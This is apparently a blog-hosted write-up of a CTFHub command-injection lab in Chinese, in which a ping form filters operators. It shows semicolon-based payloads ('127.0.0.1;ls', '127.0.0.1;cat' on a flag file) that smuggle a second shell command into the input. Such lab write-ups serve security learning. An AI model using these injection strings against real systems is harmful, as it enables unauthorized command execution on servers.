CTFHub-RCE 命令注入-过滤运算符

观察源代码

  • 代码里面可以发现过滤了运算符,我们可以尝试分号;

判断是Windows还是Linux

  • 源代码中有

    php 复制代码
    ping -c 4

    说明是Linux

查看有哪些文件

复制代码
```php
127.0.0.1;ls
```

打开flag文件

  • cat这个php文件
复制代码
```php
127.0.0.1;cat  flag_257413168915334.php
```
  • 可是发现 文本内容显示不出来,所以怀疑可能编码格式问题,有些内容无法显示(同上一节)
  • 由于过滤了运算符|,我们不能尝试用base64编码,但是可以打开网页源代码查看(Ctrl+U)
  • 成功获取flag
相关推荐
民乐团扒谱机8 分钟前
实验室安全教育与管理平台学习记录(七)网络安全
学习·安全·web安全
普普通通的南瓜3 小时前
共筑网络安全,守护绿色家园
安全·web安全·php
belldeep3 小时前
网络安全:WebShell
安全·web安全·webshell
一起学安全技术4 小时前
C11期作业23(08.30)
安全·web安全
Oxo Security4 小时前
【AI安全】提示词注入
人工智能·安全·网络安全·ai
介一安全4 小时前
【Frida Android】实战篇1:环境准备
android·网络安全·逆向·frida
FreeBuf_6 小时前
现代汽车确认遭遇数据泄露, 攻击者连续窃密9天获取用户驾照信息
安全·web安全·汽车
Claire_ccat10 小时前
2025山西省网络安全职业技能大赛PWN方向题解
linux·安全·网络安全·pwn·栈溢出
雾迟sec10 小时前
Web安全-文件上传漏洞-黑白名单及其它绕过思路(附思维导图)
javascript·安全·web安全·网络安全·apache·安全威胁分析
unable code11 小时前
攻防世界-Misc-掀桌子
网络安全·ctf·misc·1024程序员节